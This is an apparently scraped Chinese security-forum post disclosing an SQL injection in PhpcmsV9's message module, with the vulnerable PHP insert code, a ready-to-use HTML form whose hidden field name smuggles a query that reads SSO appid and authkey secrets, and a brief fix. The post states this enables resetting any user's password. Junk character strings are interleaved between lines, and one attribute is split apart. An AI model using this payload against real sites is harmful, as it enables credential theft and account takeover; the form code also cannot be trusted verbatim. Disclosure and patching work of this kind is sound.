中国网络渗透测试联盟
标题:
PhpcmsV9 SQL注射修改任意用户密码漏洞
[打印本页]
作者:
admin
时间:
2013-2-23 11:33
标题:
PhpcmsV9 SQL注射修改任意用户密码漏洞
简要描述:
$ N% r- }3 l' y. C( O" D* F6 R
0 y, U2 R1 |7 I2 m
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
! \. O4 W! o' k* K# d# Z
+ r4 Q/ j. f( }1 }
明天再更新下一个漏洞。
- R; C$ N4 d5 Q8 B' O; r; }9 l
详细说明:
2 ?8 N+ h" \& F# y2 T$ X, H" R
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
$ C8 z, c0 x% S4 j* [2 Q5 Q
9 v: W+ b) K4 a/ i" m9 }9 ?, b& W
$messageid = $this->message_db->insert($_POST['info'],true);
# U" l) I, d4 O
7 T6 c8 M/ m0 f1 Q7 ^5 } J! W* N' X
' v" [' b- N) v5 J# K
insert方法是key value的,代码如下:
. T; P/ R3 H4 M4 {% S6 m, s% r
6 n2 D. k6 p. W- k9 L$ R6 |* m
public function insert($data, $table, $return_insert_id = false, $replace = false) {
4 h' Z7 Y- l+ u: h4 ?, [ x6 f
if(!is_array( $data ) || $table == '' || count($data) == 0) {
0 B3 b% g- m5 ?7 h) D- n
return false;
3 s. @ q9 `5 U3 \- `3 M; V' w
}
6 E% K. F7 q0 H, A
/ L7 r6 D- y) W1 g
$fielddata = array_keys($data);
" o) y2 S6 `! v+ l
$valuedata = array_values($data);
1 j- d6 N% ?6 Y+ \- y" C" t7 ?
array_walk($fielddata, array($this, 'add_special_char'));
' A1 F9 s9 @* j+ _9 y
array_walk($valuedata, array($this, 'escape_string'));
( w2 B# z+ B) Q5 Z
: p0 d( P/ R! ~$ D/ v
$field = implode (',', $fielddata);
; v8 `5 E' \/ H4 w0 V
$value = implode (',', $valuedata);
! C" n; m' y: e' O6 y5 W
1 `1 Z' s5 y+ g. e) [+ |! c) P! P
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
4 N% H+ P, f, i
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
$ T/ }# W, v- C, N2 O
$return = $this->execute($sql);
& ]3 f2 P0 k1 `! E' C
return $return_insert_id ? $this->insert_id() : $return;
: W( r/ l# T, j. z) h
}
+ }9 s) n& [1 I) A$ H# \ u& M
8 E1 t* Z+ y8 e! T! N
% {) Y& V- U D% @' A9 o3 l& k
嗯,很遗憾的是
5 [& F# q3 c$ s1 b+ @* W
) y3 d) B2 g2 w# c6 G1 `: |
array_walk($fielddata, array($this, 'add_special_char'));
2 m6 {/ j% F7 T& U/ `9 X8 T
' J4 H" O1 v# k% H4 ~+ W$ U& B
; b K& a; @% {7 w
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
5 y4 c* w& [* H& Y
8 z) |1 u5 T; q# J* L
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
! G g, e& _. h& L# D: D9 q
- l; y7 C7 @4 Q3 p3 @* F
漏洞证明:
2 p/ h8 I, s! Z3 t2 s3 ` Z
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
4 o. u3 P! X9 Q$ b4 Q2 Z3 m
[attach]200[/attach]
% }& B w7 m' h
. a' T* x" ^' k' K" Q
表单如下:用户名什么的得自己改一改。
" v" R. ~( L6 ?0 Z5 G
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
1 E) R* O1 u* K; F- v, D( E1 j1 t
<table width="100%" cellspacing="0" class="table_form">
( M$ u C7 k, B) W% U3 B7 N
<tr>
2 i2 d6 b+ H$ Y6 L# j) d' Q1 p p
<th>标 题:</th>
- i" y: ^( S3 n% Y! E4 {
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
]+ F, o# Y+ {' D' }
</tr>
0 p; _; _+ c# s8 x% _0 E
<tr>
8 N& Z/ s, }4 A
<th>内 容:</th>
9 L h r' |4 _
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
3 y9 p7 d) [2 i& y5 D3 S
</tr>
4 H9 e$ X7 `. N
<input type="hidden" name="info[replyid]" value="2" />
' |$ ~: `3 x3 d& q7 u( F
<input type="hidden" name="info[send_to_id]" value="cc" />
. H6 r) v4 n" h
<input type="hidden" name="info[send_from_id]" value="hh">
9 t n( f0 S2 V) F$ U- R. ~
<!-- 漏洞的利用重点在这里开始 -->
) v% f( `9 y5 V' j8 R; E
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
* L- O# g- F6 H2 B
<!-- 漏洞的利用重点在这里结束 -->
/ p+ P6 A& C# Q p2 T, u' {
<tr>
/ J; M" y/ ^6 F/ j9 B
<th>验证码:</th>
( b n2 R2 G7 h+ F K3 D2 `9 |
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
7 F0 k B# c D
</tr>
4 i) }. F% F/ ^1 z) A* Z- o4 O
<tr>
3 T0 S3 M7 o3 t1 ?, l: B
<td></td>
?; @# m# [7 x0 j! B% u# @* J/ @
<td colspan="2"><label>
1 y5 `8 E) j* o; t, T
<input type="submit" name="
dos
ubmit" id="dosubmit" value="确 定" class="button"/>
9 N; z: w1 ~; _
</label></td>
: a2 h6 R. \: W1 B4 K5 l, t1 f
</tr>
! I6 y% d, o' T
</table>
- p. \; `# g' y, [/ i
</form>
) b9 J$ T! F% F4 G$ n- P- H, T
在add_special_char函数内对key做过滤就可以了。
) g9 p6 `) ~! {
5 C+ N! S p5 i% {
# N2 Q0 h/ v2 _; d9 D" h$ M
( u- U3 `9 k" x0 H! a0 V g& S
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2